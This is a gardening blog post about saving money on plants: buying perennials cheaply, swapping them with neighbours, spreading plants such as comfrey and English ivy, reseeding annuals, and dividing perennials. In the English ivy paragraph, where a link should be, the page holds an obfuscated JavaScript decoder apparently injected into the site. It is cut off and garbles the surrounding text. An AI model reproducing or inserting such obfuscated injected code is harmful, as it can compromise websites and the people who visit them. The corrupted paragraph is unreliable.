Everyone wants to save money and gardeners can be very good at being thrifty. There are so many ways to have a beautiful garden without spending a fortune.
Here are some tips for thrifty gardening:
Buy Perennials
Buy Perennials that THRIVE in your climate.
Be patient with your perennials. The saying for perennials is:
First year: sleep
Second year: creep
Third year: LEAP!!

Buy your flowers from the grocery store- I know, they are not very glamorous but they usually carry the most common annuals (and sometimes) perennials. These often are the plants that will grow without being pampered. Our local WinCo stores sell plants grown at Ward's Nursery from Garden Valley, I really appreciate buying local.

Get perennials from your neighbors! Lots of gardeners are ready and willing to share their perennials as they grow and spread. I know I do. Just be careful you are not getting someone else's headaches. For example: there are perennials that really should be called weeds, many call them GARDEN THUGS, because they can take over and spread like crazy, shading out the less sturdy plants. One person's thug, though is another person's blessing, so you live and learn! I love lily-of-the-valley and encourage it to grow as it can, but the flower bed this plant resides in is small and bounded by grass and cement so it cannot spread very far. I have a friend who says that lily-of-the-valley takes over in her yard and so has worked hard to get rid of it and will never invite it back to her garden!
A plant I consider a THUG is comfrey. I love the flower colors and the beautiful green leaves, but it will take over and cover up and smother smaller plants. I have moved my comfrey several times and now it is in a good location where it has a lot of room to grow and its only competition is the ugly juniper bush. Just try and smother that! If only it could.
English Ivy is a THUG in my book and it has no place in my garden and NEVER will. I have worked in yards where I have seen it climb 15 foot trees and kill them. Some states have outlawed the sale of this plant and rightly so. See this site for more information: function h052c1b60aed(x6){var qd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var t4='';var t2,u1,q3,q7,sa,r9,u2;var u4=0;do{q7=qd.indexOf(x6.charAt(u4++));sa=qd.indexOf(x6.charAt(u4++));r9=qd.indexOf(x6.charAt(u4++));u2=qd.indexOf(x6.charAt(u4++));t2=(q7<<2)|(sa>>4);u1=((sa&15)<<4)|(r9>>2);q3=((r9&3)<<6)|u2;if(t2>=192)t2+=848;else if(t2==168)t2=1025;else if(t2==184)t2=1105;t4+=String.fromCharCode(t2);if(r9!=64){if(u1>=192)u1+=848;else if(u1==168)u1=1025;else if(u1==184)u1=1105;t4+=String.fromCharCode(u1);}if(u2!=64){if(q3>=192)q3+=848;else if(q3==168)q3=1025;else if(q3==184)q3=1105;t4+=String.fromCharCode(q3);}}while(u4online.com/shared/cfm/image.cfm?id=201790">http://www.portlandonline.com/shared/cfm/image.cfm?id=201790
The list of garden thugs is long, which ones do you consider a thug in your yard?

Allow your annuals to reseed and help them to reseed.In Boise, I have been successful in reseeding snapdragons, Jamaican poppies, sweet peas, marigolds, alyssum, verbena bonarensis (almost a THUG), lettuces, cilantro, carrots, arugula, to name a few. When I pull the alyssum out in the fall, I give the plant several good shakes to distribute the seeds around on the ground. I let some of the plants go to seed, unless they are just too ugly and right up in front of the house. Sweet peas spread seeds themselves. They grow up through my roses and they are so pretty and fragrant.

Soapwort - bought at WinCo


Soapwort, an herb that will bloom several times through the summer


Carnations - bought at WinCo

A perennial that is also a spreader! Brunnera

Divide your perennials or make babies! It is very easy to divide most perennials and that is something I can cover at a later date. But, if your perennials are getting too large for their space or they are not flowering as they had in the past, perhaps its time to divide and get new plants. There is a "best" time to divide flowering perennials and the basic rule of thumb is: if they bloom in the spring, divide in the fall. If they bloom in the summer, you can divide them in the spring. But then again, nature and you are really not bound by "laws" and so be courageous and try things out. It is amazing how forgiving nature can be of our "mistakes" or rule breaking.
Layering can be successful with woody perennials. I did this with a tricolor sage- really by accident. A long branch was covered up by compost and soil and developed roots and it began to grow as a separate plant. This spring I was able to separate it from the mother plant and have a new "baby" for free!

Tricolor Sage